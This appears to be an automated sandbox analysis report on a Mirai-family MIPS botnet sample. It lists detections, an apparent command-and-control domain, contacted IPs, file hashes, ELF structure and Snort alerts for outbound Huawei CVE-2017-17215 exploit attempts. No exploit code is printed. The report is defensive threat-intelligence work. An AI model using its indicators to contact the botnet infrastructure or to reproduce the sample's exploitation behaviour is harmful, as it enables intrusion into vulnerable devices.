Source: yP1n2CG3Da.elf, 6207.1.000055c46443a000.000055c4644e2000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: yP1n2CG3Da.elf, 6207.1.00007ffd96607000.00007ffd96628000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: yP1n2CG3Da.elf, type: SAMPLE
Source: Yara match	File source: 6207.1.00007f9e8c400000.00007f9e8c411000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: yP1n2CG3Da.elf, type: SAMPLE
Source: Yara match	File source: 6207.1.00007f9e8c400000.00007f9e8c411000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	3 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
yP1n2CG3Da.elf	53%	ReversingLabs	Linux.Trojan.Mirai
yP1n2CG3Da.elf	58%	Virustotal		Browse
yP1n2CG3Da.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
husd8uasd9.online	17%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
husd8uasd9.online	34.141.216.123	true	false	17%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	yP1n2CG3Da.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	yP1n2CG3Da.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.240.15.49	unknown	Sudan	36998	SDN-MOBITELSD	false
41.145.255.179	unknown	South Africa	5713	SAIX-NETZA	false
197.240.131.142	unknown	unknown	37705	TOPNETTN	false
197.158.252.106	unknown	Seychelles	37343	AirtelSeychellesSC	false
156.124.11.103	unknown	United States	393504	XNSTGCA	false
156.114.82.7	unknown	Netherlands	59630	NN_INSURANCE_EURASIA_NV_ITH-ASNL	false
156.108.190.174	unknown	United States	36081	STATE-OF-COLORADO-MNT-NETWORKUS	false
41.230.97.167	unknown	Tunisia	37705	TOPNETTN	false
41.54.59.241	unknown	South Africa	37168	CELL-CZA	false
41.176.104.108	unknown	Egypt	36992	ETISALAT-MISREG	false
156.123.110.240	unknown	United States	393504	XNSTGCA	false
156.199.251.122	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.201.246.175	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.92.39.29	unknown	United States	10695	WAL-MARTUS	false
156.77.103.100	unknown	United States	11286	KEYBANKUS	false
156.13.131.19	unknown	New Zealand	22192	SSHENETUS	false
197.20.132.133	unknown	Tunisia	37693	TUNISIANATN	false
197.224.88.172	unknown	Mauritius	23889	MauritiusTelecomMU	false
41.230.97.155	unknown	Tunisia	37705	TOPNETTN	false
197.223.62.153	unknown	Egypt	37069	MOBINILEG	false
156.115.95.165	unknown	Switzerland	59630	NN_INSURANCE_EURASIA_NV_ITH-ASNL	false
156.115.143.134	unknown	Switzerland	59630	NN_INSURANCE_EURASIA_NV_ITH-ASNL	false
156.250.109.219	unknown	Seychelles	133201	COMING-ASABCDEGROUPCOMPANYLIMITEDHK	false
41.113.245.220	unknown	South Africa	16637	MTNNS-ASZA	false
197.102.233.94	unknown	South Africa	3741	ISZA	false
197.173.180.20	unknown	South Africa	37168	CELL-CZA	false
41.169.50.103	unknown	South Africa	36937	Neotel-ASZA	false
156.70.138.34	unknown	United States	297	AS297US	false
41.115.200.78	unknown	South Africa	16637	MTNNS-ASZA	false
197.103.113.163	unknown	South Africa	3741	ISZA	false
197.187.221.163	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
156.200.103.179	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.102.185.43	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.219.214.94	unknown	Mozambique	37342	MOVITELMZ	false
197.104.91.123	unknown	South Africa	37168	CELL-CZA	false
197.132.199.82	unknown	Egypt	24835	RAYA-ASEG	false
156.20.119.46	unknown	United States	29975	VODACOM-ZA	false
197.220.189.15	unknown	Ghana	37341	GLOMOBILEGH	false
197.169.172.191	unknown	South Africa	37168	CELL-CZA	false
197.173.179.43	unknown	South Africa	37168	CELL-CZA	false
197.114.121.161	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.70.138.48	unknown	United States	297	AS297US	false
197.86.54.139	unknown	South Africa	10474	OPTINETZA	false
197.11.5.130	unknown	Tunisia	5438	ATI-TN	false
156.34.23.151	unknown	Canada	855	CANET-ASN-4CA	false
197.223.62.136	unknown	Egypt	37069	MOBINILEG	false
156.138.236.145	unknown	United States	29975	VODACOM-ZA	false
41.241.171.208	unknown	Sudan	36998	SDN-MOBITELSD	false
197.243.65.234	unknown	Rwanda	37228	Olleh-Rwanda-NetworksRW	false
41.163.5.243	unknown	South Africa	36937	Neotel-ASZA	false
41.225.189.104	unknown	Tunisia	37671	GLOBALNET-ASTN	false
197.220.254.114	unknown	Zambia	37214	MICROLINKZM	false
156.38.70.184	unknown	Togo	36924	GVA-CanalboxBJ	false
41.176.104.141	unknown	Egypt	36992	ETISALAT-MISREG	false
156.80.19.34	unknown	United States	393649	BOOZ-AS2US	false
156.31.48.95	unknown	Brunei Darussalam	34542	SAFRANHE-ASFR	false
41.40.24.14	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.53.167.68	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.19.31.116	unknown	South Africa	29975	VODACOM-ZA	false
156.104.246.72	unknown	United States	393504	XNSTGCA	false
41.203.162.187	unknown	South Africa	29918	IMPOL-ASNZA	false
197.254.132.176	unknown	Lesotho	37057	VODACOM-LESOTHOLS	false
197.166.191.53	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.185.70.95	unknown	South Africa	37105	NEOLOGY-ASZA	false
197.237.201.122	unknown	Kenya	15399	WANANCHI-KE	false
41.91.58.139	unknown	Egypt	33771	SAFARICOM-LIMITEDKE	false
197.56.150.0	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.12.94.0	unknown	Tunisia	37703	ATLAXTN	false
197.225.3.147	unknown	Mauritius	23889	MauritiusTelecomMU	false
41.131.142.2	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.136.251.149	unknown	Mauritius	23889	MauritiusTelecomMU	false
41.89.178.130	unknown	Kenya	36914	KENET-ASKE	false
156.7.184.136	unknown	United States	29975	VODACOM-ZA	false
41.92.137.38	unknown	Cameroon	36955	Matrix-ASN1CM	false
197.192.154.204	unknown	Egypt	36992	ETISALAT-MISREG	false
197.182.169.95	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.179.154.215	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.155.78.132	unknown	Mauritius	30844	LIQUID-ASGB	false
197.226.239.47	unknown	Mauritius	23889	MauritiusTelecomMU	false
156.16.61.107	unknown	unknown	29975	VODACOM-ZA	false
41.94.187.90	unknown	Mozambique	327700	MoRENetMZ	false
156.2.60.178	unknown	United States	29975	VODACOM-ZA	false
197.203.144.0	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.98.56.178	unknown	United States	1998	STATE-OF-MNUS	false
197.12.31.231	unknown	Tunisia	37703	ATLAXTN	false
41.154.124.172	unknown	South Africa	37079	SMMTZA	false
156.250.110.176	unknown	Seychelles	133201	COMING-ASABCDEGROUPCOMPANYLIMITEDHK	false
41.208.211.102	unknown	South Africa	33762	rainZA	false
197.32.129.115	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.51.42.205	unknown	Sweden	29975	VODACOM-ZA	false
41.18.210.211	unknown	South Africa	29975	VODACOM-ZA	false
156.243.156.209	unknown	Seychelles	54600	PEGTECHINCUS	false
156.211.194.251	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.203.162.152	unknown	South Africa	29918	IMPOL-ASNZA	false
156.216.43.17	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.180.241.200	unknown	Egypt	36992	ETISALAT-MISREG	false
197.48.180.53	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.166.35.136	unknown	Egypt	36992	ETISALAT-MISREG	false
156.220.116.34	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.63.73.219	unknown	United States	19902	NET-STATE-OHIOUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.240.15.49	7JkUQXDoxK	Get hash	malicious	Mirai	Browse
41.240.15.49	9GWV9zRns4	Get hash	malicious	Mirai	Browse
156.123.110.240	kKOVDPvwzL	Get hash	malicious	Gafgyt Mirai	Browse
41.145.255.179	bok.arm7-20230316-1119.elf	Get hash	malicious	Mirai	Browse
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
	XfUkJyh9A3.elf	Get hash	malicious	Mirai	Browse
	ahsok.mips	Get hash	malicious	Mirai	Browse
	ksnOXYjjWh	Get hash	malicious	Mirai	Browse
156.199.251.122	v3sFL5cVsf	Get hash	malicious	Mirai	Browse
197.240.131.142	E6Wre8EnAM.elf	Get hash	malicious	Mirai	Browse
	5UJyp59w4f.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.9999.19234.20477.elf	Get hash	malicious	Mirai	Browse
156.114.82.7	q51ZLA6rmT.elf	Get hash	malicious	Mirai	Browse
41.201.246.175	bk.x86.elf	Get hash	malicious	Mirai	Browse
41.201.246.175	a4.elf	Get hash	malicious	Mirai	Browse
41.230.97.167	UnHAnaAW.mips	Get hash	malicious	Mirai	Browse
41.176.104.108	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse
41.176.104.108	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse
156.124.11.103	ak.mpsl-20220923-2311.elf	Get hash	malicious	Mirai	Browse
156.124.11.103	Sht1aYGDIX	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
husd8uasd9.online	R6rFR8cH9t.elf	Get hash	malicious	Mirai	Browse	159.203.187.201
	skid.arm7.elf	Get hash	malicious	Mirai	Browse	35.228.80.62
	skid.x86.elf	Get hash	malicious	Mirai	Browse	34.88.141.253
	QujbCkM3Ke.elf	Get hash	malicious	Mirai	Browse	167.99.179.113
	wuka9aK727.elf	Get hash	malicious	Mirai	Browse	34.16.131.147
	skid.arm7-20231016-0000.elf	Get hash	malicious	Mirai	Browse	170.64.174.154
	skid.x86-20231016-0000.elf	Get hash	malicious	Unknown	Browse	207.154.228.212
	skid.arm-20231016-0000.elf	Get hash	malicious	Unknown	Browse	35.228.80.62
	3mq43XQh0s.elf	Get hash	malicious	Mirai	Browse	5.181.80.115
	vrfjUe0alF.elf	Get hash	malicious	Mirai	Browse	5.181.80.115
	Ap4oD0Iqq6.elf	Get hash	malicious	Mirai	Browse	5.181.80.115
	lY10VzCmEZ.elf	Get hash	malicious	Mirai	Browse	5.181.80.115
	1aS9ZLsBPz.elf	Get hash	malicious	Mirai	Browse	5.181.80.115
	6lW2MrIQsG.elf	Get hash	malicious	Mirai	Browse	5.181.80.115
	skid.arm-20231012-0350.elf	Get hash	malicious	Mirai	Browse	5.181.80.70
	skid.arm7-20231012-0350.elf	Get hash	malicious	Mirai	Browse	5.181.80.71
	skid.x86-20231012-0350.elf	Get hash	malicious	Mirai	Browse	5.181.80.71

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TOPNETTN	R6rFR8cH9t.elf	Get hash	malicious	Mirai	Browse	41.226.192.11
	rcOYN1Bi3V.elf	Get hash	malicious	Mirai	Browse	197.0.78.201
	skid.arm7.elf	Get hash	malicious	Mirai	Browse	197.238.29.252
	skid.x86.elf	Get hash	malicious	Mirai	Browse	41.230.50.125
	VfMVlDMUYO.elf	Get hash	malicious	Mirai	Browse	41.226.143.33
	5M39t65C7q.elf	Get hash	malicious	Mirai	Browse	102.157.140.248
	q15vaZEspF.elf	Get hash	malicious	Mirai, Moobot	Browse	41.62.242.163
	aOJ9YfdhD1.elf	Get hash	malicious	Mirai, Moobot	Browse	197.3.15.232
	C2iQtlNgwi.elf	Get hash	malicious	Mirai, Moobot	Browse	41.230.97.118
	0s4xkFvSCW.elf	Get hash	malicious	Mirai, Moobot	Browse	197.3.63.171
	WfPUqEBiDp.elf	Get hash	malicious	Mirai, Moobot	Browse	197.0.117.150
	kuru.arm7.elf	Get hash	malicious	Unknown	Browse	197.2.41.81
	vAZYIEQMP8.elf	Get hash	malicious	Mirai, Moobot	Browse	197.238.77.168
	db0fa4b8db0333367e9bda3ab68b8042.sh4	Get hash	malicious	Mirai	Browse	41.226.36.72
	pugAwQUqHe.elf	Get hash	malicious	Mirai	Browse	102.158.159.154
	AYqV3mFLkS.elf	Get hash	malicious	Mirai	Browse	197.0.78.207
	oKToHgW7tv.elf	Get hash	malicious	Mirai	Browse	41.230.50.132
	BawlgyaYk0.elf	Get hash	malicious	Mirai	Browse	41.230.50.144
	T2b74gKWzG.elf	Get hash	malicious	Mirai	Browse	197.0.2.80
	sora.arm.elf	Get hash	malicious	Mirai	Browse	197.0.78.220
SAIX-NETZA	R6rFR8cH9t.elf	Get hash	malicious	Mirai	Browse	41.150.35.110
	KEn1azvafI.elf	Get hash	malicious	Mirai	Browse	165.9.59.101
	ovAcQ7CI4t.elf	Get hash	malicious	Mirai	Browse	165.147.143.13
	G1vp1p1HjW.elf	Get hash	malicious	Mirai	Browse	102.250.107.93
	skid.arm7.elf	Get hash	malicious	Mirai	Browse	41.147.171.198
	skid.x86.elf	Get hash	malicious	Mirai	Browse	41.149.82.188
	WLD1Yxvpy4.elf	Get hash	malicious	Mirai	Browse	102.248.18.243
	J4oa31mXHl.elf	Get hash	malicious	Mirai	Browse	196.25.124.163
	DA95yGHg7R.elf	Get hash	malicious	Mirai, Moobot	Browse	41.145.46.76
	q15vaZEspF.elf	Get hash	malicious	Mirai, Moobot	Browse	41.145.71.247
	aOJ9YfdhD1.elf	Get hash	malicious	Mirai, Moobot	Browse	41.247.245.243
	C2iQtlNgwi.elf	Get hash	malicious	Mirai, Moobot	Browse	41.145.166.68
	4jWjSGM59f.elf	Get hash	malicious	Mirai, Moobot	Browse	41.247.81.90
	0s4xkFvSCW.elf	Get hash	malicious	Mirai, Moobot	Browse	41.150.130.12
	e74Xkt1ot5.elf	Get hash	malicious	Mirai, Moobot	Browse	41.150.130.19
	GlBCE6IPE2.elf	Get hash	malicious	Mirai, Moobot	Browse	41.150.141.252
	1K9kczvvnW.elf	Get hash	malicious	Mirai, Moobot	Browse	41.246.44.142
	QujbCkM3Ke.elf	Get hash	malicious	Mirai	Browse	102.253.185.124
	Tt4pJQMhy8.elf	Get hash	malicious	Mirai	Browse	41.145.255.144
	CkmIzfowyI.elf	Get hash	malicious	Mirai	Browse	41.151.161.21
SDN-MOBITELSD	R6rFR8cH9t.elf	Get hash	malicious	Mirai	Browse	41.95.146.4
	skid.x86.elf	Get hash	malicious	Mirai	Browse	41.95.146.9
	5eFmWG76zz.elf	Get hash	malicious	Mirai	Browse	41.240.39.23
	5MPcAq42ts.elf	Get hash	malicious	Mirai	Browse	41.240.121.74
	q15vaZEspF.elf	Get hash	malicious	Mirai, Moobot	Browse	41.240.145.61
	0s4xkFvSCW.elf	Get hash	malicious	Mirai, Moobot	Browse	197.208.144.156
	1K9kczvvnW.elf	Get hash	malicious	Mirai, Moobot	Browse	41.240.15.10
	QujbCkM3Ke.elf	Get hash	malicious	Mirai	Browse	154.103.100.239
	arm7-20231108-2235.elf	Get hash	malicious	Mirai, Moobot	Browse	197.208.84.171
	vAZYIEQMP8.elf	Get hash	malicious	Mirai, Moobot	Browse	41.95.142.167
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	41.95.229.247
	BawlgyaYk0.elf	Get hash	malicious	Mirai	Browse	41.240.157.147
	rgUmdDIbSl.elf	Get hash	malicious	Mirai	Browse	41.240.121.80
	z0r0.x86.elf	Get hash	malicious	Mirai	Browse	41.240.109.207
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	41.95.142.101
	6i9b6tyyQF.elf	Get hash	malicious	Mirai	Browse	154.99.215.163
	IkQaegr1Ld.elf	Get hash	malicious	Mirai	Browse	41.240.157.118
	Bys8A4uK1O.elf	Get hash	malicious	Mirai	Browse	41.95.85.0
	GRipLsZPVA.elf	Get hash	malicious	Mirai	Browse	41.240.121.71
	4xoQYcDD9b.elf	Get hash	malicious	Mirai	Browse	154.96.116.59

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.548315301948152
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	yP1n2CG3Da.elf
File size:	70'916 bytes
MD5:	835c452654a38ae46b38577baf934256
SHA1:	83c06a95aa27b131530b3b19505081ee0c4da546
SHA256:	8c7eabb94f92ca3d608bf8bf8b982529f966e767e33f93acb24b62781f6e9768
SHA512:	e70fc58187928b8a80dbe41f2f8c7f9f5d10a7dd91932bd3b65d06f68cb3da48a2d1bf7e9275a47e0d4be091a1fa4e7f3ce21547334c6eab75d5f3d8aa2e66e3
SSDEEP:	1536:q+BSii5Lh/RsUFbJhM70DwZZ63kPCjLQBcaK:HB1IBJG70sZbu
TLSH:	4E63E749EF514FFBD86FDD3706A9074535CC590A12A93B3A3574C828FA4B50B46E3CA8
File Content Preview:	.ELF....................`.@.4...........4. ...(...............@...@...........................E...E.\....6..........Q.td...............................<l..'!......'.......................<H..'!... .........9'.. ........................<...'!...........p.9

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	70356
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xe9c0	0x0	0x6	AX	16
.fini	PROGBITS	0x40eae0	0xeae0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40eb40	0xeb40	0x1ad0	0x0	0x2	A	16
.ctors	PROGBITS	0x450614	0x10614	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45061c	0x1061c	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x450628	0x10628	0x40c	0x0	0x3	WA	4
.data	PROGBITS	0x450a40	0x10a40	0x3d0	0x0	0x3	WA	16
.got	PROGBITS	0x450e10	0x10e10	0x460	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x451270	0x11270	0x28	0x0	0x10000003	WAp	4
.bss	NOBITS	0x4512a0	0x11270	0x2a70	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x9c6	0x11270	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x11270	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x10610	0x10610	5.5702	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x10614	0x450614	0x450614	0xc5c	0x36fc	4.1584	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.23156.235.97.22159056372152829579 11/19/23-09:16:22.812830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59056	37215	192.168.2.23	156.235.97.221
192.168.2.23156.230.14.2645070372152829579 11/19/23-09:16:28.680116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45070	37215	192.168.2.23	156.230.14.26
192.168.2.23156.253.34.6536808372152829579 11/19/23-09:16:16.513394	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36808	37215	192.168.2.23	156.253.34.65
192.168.2.23156.230.18.2238764372152829579 11/19/23-09:17:16.175382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38764	37215	192.168.2.23	156.230.18.22
192.168.2.23156.241.113.17741758372152829579 11/19/23-09:16:41.679210	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41758	37215	192.168.2.23	156.241.113.177
192.168.2.23156.241.88.935056372152835222 11/19/23-09:17:37.469985	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35056	37215	192.168.2.23	156.241.88.9
192.168.2.23156.254.92.21736780372152835222 11/19/23-09:17:27.221980	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36780	37215	192.168.2.23	156.254.92.217
192.168.2.23156.254.111.6260280372152829579 11/19/23-09:16:13.544726	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60280	37215	192.168.2.23	156.254.111.62
192.168.2.23156.254.73.7733498372152835222 11/19/23-09:16:49.458961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33498	37215	192.168.2.23	156.254.73.77
192.168.2.23156.241.86.19439920372152829579 11/19/23-09:17:02.712348	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39920	37215	192.168.2.23	156.241.86.194
192.168.2.23156.230.18.2238764372152835222 11/19/23-09:17:16.175382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38764	37215	192.168.2.23	156.230.18.22
192.168.2.23156.253.34.6536808372152835222 11/19/23-09:16:16.513394	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36808	37215	192.168.2.23	156.253.34.65
192.168.2.23156.247.27.9653072372152829579 11/19/23-09:17:24.881561	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53072	37215	192.168.2.23	156.247.27.96
192.168.2.23156.254.92.21736780372152829579 11/19/23-09:17:27.221980	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36780	37215	192.168.2.23	156.254.92.217
192.168.2.23156.241.113.17741758372152835222 11/19/23-09:16:41.679210	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41758	37215	192.168.2.23	156.241.113.177
192.168.2.23156.253.46.13842524372152829579 11/19/23-09:16:43.407336	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42524	37215	192.168.2.23	156.253.46.138
192.168.2.23156.241.97.15153654372152829579 11/19/23-09:16:16.589230	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53654	37215	192.168.2.23	156.241.97.151
192.168.2.23156.254.111.6260280372152835222 11/19/23-09:16:13.544726	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60280	37215	192.168.2.23	156.254.111.62
192.168.2.23156.254.68.19051916372152829579 11/19/23-09:16:20.631358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51916	37215	192.168.2.23	156.254.68.190
192.168.2.23156.241.86.19439920372152835222 11/19/23-09:17:02.712348	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39920	37215	192.168.2.23	156.241.86.194
192.168.2.23156.224.14.10148392372152835222 11/19/23-09:17:07.450618	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48392	37215	192.168.2.23	156.224.14.101
192.168.2.23156.241.94.16551870372152829579 11/19/23-09:16:38.885761	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51870	37215	192.168.2.23	156.241.94.165
192.168.2.23156.241.82.5642524372152829579 11/19/23-09:17:27.288953	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42524	37215	192.168.2.23	156.241.82.56
192.168.2.23156.253.46.13842524372152835222 11/19/23-09:16:43.407336	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42524	37215	192.168.2.23	156.253.46.138
192.168.2.23156.241.73.17343052372152829579 11/19/23-09:17:13.677494	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43052	37215	192.168.2.23	156.241.73.173
192.168.2.2341.233.233.1753550372152835222 11/19/23-09:17:14.576635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53550	37215	192.168.2.23	41.233.233.17
192.168.2.23156.247.16.641866372152835222 11/19/23-09:16:28.933314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41866	37215	192.168.2.23	156.247.16.6
192.168.2.23156.77.134.14542096372152835222 11/19/23-09:16:06.768950	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42096	37215	192.168.2.23	156.77.134.145
192.168.2.23156.254.73.7733498372152829579 11/19/23-09:16:49.458961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33498	37215	192.168.2.23	156.254.73.77
192.168.2.23197.56.141.17545424372152835222 11/19/23-09:16:30.240555	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45424	37215	192.168.2.23	197.56.141.175
192.168.2.23156.230.31.6350212372152829579 11/19/23-09:17:34.042853	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50212	37215	192.168.2.23	156.230.31.63
192.168.2.23156.241.73.17343052372152835222 11/19/23-09:17:13.677494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43052	37215	192.168.2.23	156.241.73.173
192.168.2.23156.77.134.14542096372152829579 11/19/23-09:16:06.768950	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42096	37215	192.168.2.23	156.77.134.145
192.168.2.23156.254.95.6656916372152829579 11/19/23-09:16:35.841274	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56916	37215	192.168.2.23	156.254.95.66
192.168.2.23156.226.14.24533702372152835222 11/19/23-09:16:16.199665	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33702	37215	192.168.2.23	156.226.14.245
192.168.2.23156.254.85.10944436372152829579 11/19/23-09:17:03.036644	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44436	37215	192.168.2.23	156.254.85.109
192.168.2.23156.247.21.18337542372152829579 11/19/23-09:16:10.210321	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37542	37215	192.168.2.23	156.247.21.183
192.168.2.23156.235.101.6145214372152829579 11/19/23-09:16:56.629972	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45214	37215	192.168.2.23	156.235.101.61
192.168.2.23156.241.124.10946690372152829579 11/19/23-09:17:12.892698	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46690	37215	192.168.2.23	156.241.124.109
192.168.2.23156.247.16.641866372152829579 11/19/23-09:16:28.933314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41866	37215	192.168.2.23	156.247.16.6
